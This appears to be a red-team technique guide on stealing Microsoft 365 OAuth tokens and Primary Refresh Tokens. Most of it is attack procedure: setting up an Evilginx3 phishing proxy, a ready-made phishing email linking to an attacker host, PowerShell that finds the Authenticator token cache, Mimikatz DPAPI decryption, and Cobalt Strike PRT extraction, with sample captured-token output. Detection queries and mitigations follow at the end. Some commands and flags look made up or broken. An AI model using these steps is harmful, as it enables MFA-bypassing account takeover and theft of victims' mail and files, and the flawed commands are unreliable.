| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-031 |
| MITRE ATT&CK v18.1 | T1528 - Steal Application Access Token |
| Tactic | Credential Access |
| Platforms | M365 (Exchange Online, SharePoint Online, Teams) |
| Severity | Critical |
| CVE | N/A (token-stealing is technique-based, not CVE-based) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All M365/Entra ID tenants (no version dependency); Token Protection (preview) partially mitigates on Windows 10/11 devices |
| Patched In | Continuous Access Evaluation (CAE) introduced June 2024; Token Protection preview March 2024 |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Token Binding Extraction is a credential access technique targeting Microsoft 365 environments where attackers steal or extract OAuth tokens along with their binding material (device-specific cryptographic keys), allowing them to replay stolen tokens on the original device or bypass binding protections. Unlike traditional token theft, which relies on stealing tokens in transit or from memory, token binding extraction specifically targets the cryptographic binding between the token and the device. Attackers accomplish this by extracting bound tokens from Authenticator apps, Primary Refresh Tokens (PRTs) from the TPM or credential cache, or by leveraging vulnerabilities in token binding implementations (such as Evilginx3’s token extraction from HTTP response bodies).
Attack Surface: M365 OAuth flows, Authenticator app storage, Windows credential cache, Azure AD sign-in process, PRT caching mechanisms.
Business Impact: Complete account compromise bypassing MFA. Once a bound token is extracted, attackers can access all resources the token permits—email, files, meetings, teams—from any device, for the token’s lifetime (typically 1 hour for access tokens, days to months for refresh tokens). Stolen tokens appear as legitimate authenticated sessions; MFA is bypassed entirely because the initial authentication (including MFA) already occurred and the token was validated.
Technical Context: Token extraction typically takes 30-300 seconds depending on method (from HTTP interception to memory dumping). Detection likelihood varies: HIGH for network-based extraction via Evilginx2 (proxy logs show unusual redirect patterns), MEDIUM for Authenticator app extraction (requires local access), LOW for PRT extraction on unmonitored systems.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 1.1.4 | MFA for all users; monitors token-based attacks by reducing reliance on single credentials |
| DISA STIG | AU-2(b) | Enhanced auditing of token issuance and usage to detect replay attacks |
| CISA SCuBA | Entra-SEC-11 | Token Protection and Continuous Access Evaluation mandatory |
| NIST 800-53 | IA-2(2), SC-12 | MFA and cryptographic key management to protect token binding |
| GDPR | Art. 32 | Security of Processing – measures to prevent unauthorized token access |
| DORA | Art. 9 | Protection measures specific to authentication token handling |
| NIS2 | Art. 21(1)(d) | Detection and incident response for token-based account compromise |
| ISO 27001 | A.9.4.3, A.10.1.1 | Cryptographic controls; password/token lifetime management |
| ISO 27005 | Token Theft Risk Scenario | Risk management for token-based lateral movement and data exfiltration |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Objective: Identify token caching mechanisms and token binding status on target systems.
# Check if Token Protection is enabled in Conditional Access
Connect-MgGraph -Scopes "Policy.Read.All"
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.Conditions.ClientAppTypes -contains "tokenProtection" }
# Check Authenticator app version (indicates token binding support)
Get-WmiObject -ClassName Win32_Product | Where-Object { $_.Name -like "*Authenticator*" }
# Check for PRT caching
Get-ChildItem -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WinLogon" -Recurse | Select-Object PSPath
# Check token lifetime policies
Get-MgOrganization | Select-Object @{Name="TokenLifetime";Expression={$_.DisplayName}}
# Verify Continuous Access Evaluation status
Get-MgIdentityProvider | Where-Object { $_.DisplayName -like "*Entra*" }
What to Look For:
Supported Versions: All M365 tenants; Windows/Mac/Linux with browser
Objective: Configure a phishing proxy that intercepts OAuth flows and extracts tokens from responses.
Command (Linux/Ubuntu 20.04+):
# Install dependencies
sudo apt-get install -y git golang-go
# Clone Evilginx3
git clone https://github.com/kuba--/evilginx3.git
cd evilginx3
# Build Evilginx3
make
# Configure Evilginx3 phishing site
cat > phishlets/o365.yaml << 'EOF'
name: "O365"
author: "Attacker"
landing_path: "/login"
auth_tokens:
- name: "access_token"
env_var: "PHISHED_ACCESS_TOKEN"
- name: "refresh_token"
env_var: "PHISHED_REFRESH_TOKEN"
EOF
# Start Evilginx3
./evilginx3 -p ./phishlets -l 0.0.0.0 -port 8080
Expected Output:
[*] Evilginx3 started on 0.0.0.0:8080
[*] Phishlet loaded: o365
[*] Ready for phishing campaigns
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Trick user into authenticating through Evilginx3 proxy.
Command (Email/Phishing Lure):
Subject: Action Required: Verify Your Microsoft 365 Account
Dear valued employee,
Your Microsoft 365 account needs verification to comply with our latest security policies.
Please click below to verify your account:
[Click to Verify Account](https://o365-verify.attacker.com/login) ← Points to Evilginx3
(Original legitimate link: https://login.microsoftonline.com/)
Regards,
IT Security Team
Expected User Behavior:
Evilginx3 Output:
[+] Token captured!
Access Token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...
Refresh Token: 0.ARwA6XxZ...
User: victim@company.com
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Obtain device binding keys to allow token use on attacker’s device.
Command (Evilginx3 Advanced):
# Check if token includes device binding claims
./evilginx3 -analyze-token $(cat captured_access_token.jwt)
# Expected output shows:
# - aud: Application ID
# - amr: Authentication methods (phishing bypasses some amr values)
# - deviceid: Device ID (if bound)
# - x5t#S256: Device binding public key thumbprint (if present)
# If device binding is present, extract binding key from captured device
# (Advanced: requires access to victim's device TPM or credential cache)
Expected Output:
[*] Token Analysis:
Audience: 00000002-0000-0ff1-ce00-000000000000 (Exchange Online)
Device ID: ab12cd34-ef56-gh78-ij90-kl12mn34op56
MFA Status: PASSED
Device Binding: YES (requires private key for full replay)
Binding Key: SHA256(device_public_key)
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Supported Versions: Windows 10/11 with Microsoft Authenticator app installed
Objective: Access the Authenticator app’s local token storage.
Command (PowerShell - Admin Required):
# Microsoft Authenticator stores tokens in credential cache (DPAPI-encrypted)
# Location: C:\Users\[Username]\AppData\Local\Packages\Microsoft.MicrosoftAuthenticatorApp_[AppID]\LocalState
$authenticatorPath = Get-ChildItem -Path "C:\Users\*\AppData\Local\Packages\Microsoft.MicrosoftAuthenticatorApp_*\LocalState" -ErrorAction SilentlyContinue | Select-Object -First 1
if ($authenticatorPath) {
Write-Host "[+] Authenticator app cache found: $($authenticatorPath.FullName)"
# List cached credentials (DPAPI-encrypted)
Get-ChildItem -Path "$($authenticatorPath.FullName)\AC" | ForEach-Object {
Write-Host "[*] Credential file: $($_.Name)"
}
}
# Alternative: Use Mimikatz to decrypt DPAPI cache
# (Requires admin and must run from target device)
Expected Output:
[+] Authenticator app cache found: C:\Users\victim\AppData\Local\Packages\Microsoft.MicrosoftAuthenticatorApp_8wekyb3d8bbwe\LocalState\AC
[*] Credential file: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
[*] Credential file: yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Decrypt the cached tokens using DPAPI.
Command (Mimikatz - Admin/SYSTEM Required):
REM Dump LSASS and extract DPAPI master keys
mimikatz.exe
privilege::debug
token::elevate
sekurlsa::dpapi
REM Output will show DPAPI master keys for each user
REM Example: [DPAPI] Key: {guid} version: 0x00000002...
REM Extract Authenticator tokens
mimikatz.exe
dpapi::capi /in:C:\Users\victim\AppData\Local\Packages\Microsoft.MicrosoftAuthenticatorApp_8wekyb3d8bbwe\LocalState\AC\cache.dat
REM Decrypt tokens
dpapi::masterkey /in:[master_key_file] /rpc
Expected Output:
[+] DPAPI Master Key: xxxxxxxxxxxxxxxx...
[+] Decrypted token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...
[+] Token Type: Bearer
[+] Expires: 1/9/2025 11:30:00 AM
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Supported Versions: Windows 10/11, Entra ID joined or hybrid joined devices
Objective: Steal the Primary Refresh Token from the Windows credential cache without triggering Mimikatz detection.
Command (Cobalt Strike Beacon):
# In Cobalt Strike Beacon console
beacon> cd C:\Windows\System32
# Execute Beacon Object File for PRT extraction
beacon> execute-assembly ./Get-AzureTokens.exe
# Alternative: Use TrustedSec's get_azure_token BOF
beacon> coff-load ./get_azure_token.o -nargs 0
# Output
[*] Entra ID Token Extracted:
[*] Authorization Code: M.R3_BAY...
[*] Access Token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...
[*] Refresh Token: 0.ARwA6XxZ...
Expected Output:
[+] PRT extracted successfully
[+] Issuing new tokens via authorization code flow...
[+] New access token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...
[+] New refresh token: 0.ARwA6XxZ...
[+] Can be used on any device (PRT not device-bound if extracted before binding applied)
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Rule 1: Token Theft via Unusual IP and Location
KQL Query:
SigninLogs
| where ConditionalAccessStatus == "success"
| where AuthenticationRequirement == "multiFactorAuthentication" // Indicates legitimate MFA
| extend TokenIssuedTime = todatetime(properties.createdDateTime)
| join kind=inner (SigninLogs
| where ConditionalAccessStatus == "success"
| where IPAddress != "0.0.0.0"
| extend TokenUsedTime = todatetime(TimeGenerated)) on UserPrincipalName
| where (TokenUsedTime - TokenIssuedTime) between (-5min .. 10min) // Immediate token use
and IPAddress != IPAddress1 // Token issued from different IP
| project UserPrincipalName, TokenIssuedTime, TokenUsedTime, IssuedFromIPAddress=IPAddress, UsedFromIPAddress=IPAddress1, Status
| where Status == "Success"
| extend DayOfWeek = dayofweek(now()), TimeOfDay = hour(now())
| where DayOfWeek > 5 or TimeOfDay < 6 or TimeOfDay > 22 // Off-hours usage
Manual Configuration (Azure Portal):
Token Theft Detection - Unusual IP after MFACritical15 minutes6 hours1. Enable Continuous Access Evaluation (CAE) in Conditional Access
Applies To Versions: All M365 tenants (Entra ID P2 required)
Manual Steps (Azure Portal):
Validation Command (PowerShell):
Connect-MgGraph -Scopes "Policy.Read.All"
Get-MgIdentityConditionalAccessPolicy | Select-Object DisplayName, Conditions, GrantControls
2. Enable Token Protection for Sign-In Sessions (Preview)
Applies To Versions: Windows 10 21H2+, Windows 11, Entra ID P2 required
Manual Steps (Azure Portal):
Validation:
# Check if token protection is applied to tokens
$token = Get-MgContext -ErrorAction SilentlyContinue
$decodedToken = [System.Convert]::FromBase64String($token.Value)
# Decode JWT and look for "binding" claim (if present, token binding is enforced)
3. Disable Legacy Authentication Protocols
Manual Steps:
4. Monitor Authenticator App Usage
Manual Steps (Sentinel):
Create custom query to alert on suspicious Authenticator activities:
AADServicePrincipalSignInLogs
| where ServicePrincipalName contains "Authenticator"
| where TimeGenerated > ago(24h)
| summarize count() by UserPrincipalName, ClientAppUsed, IPAddress, Location
| where count_ > threshold // Alert if abnormal usage patterns
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker tricks user into approving device code |
| 2 | Credential Access | [REALWORLD-031] Token Binding Extraction | Attacker extracts OAuth token with binding material |
| 3 | Persistence | [T1098] Account Manipulation | Attacker adds backdoor credentials to compromised account |
| 4 | Lateral Movement | [T1550] Use Alternate Authentication Material | Attacker uses stolen token to access Teams, Exchange |
| 5 | Impact | [T1537] Data Transfer | Attacker exfiltrates emails, files, meeting recordings |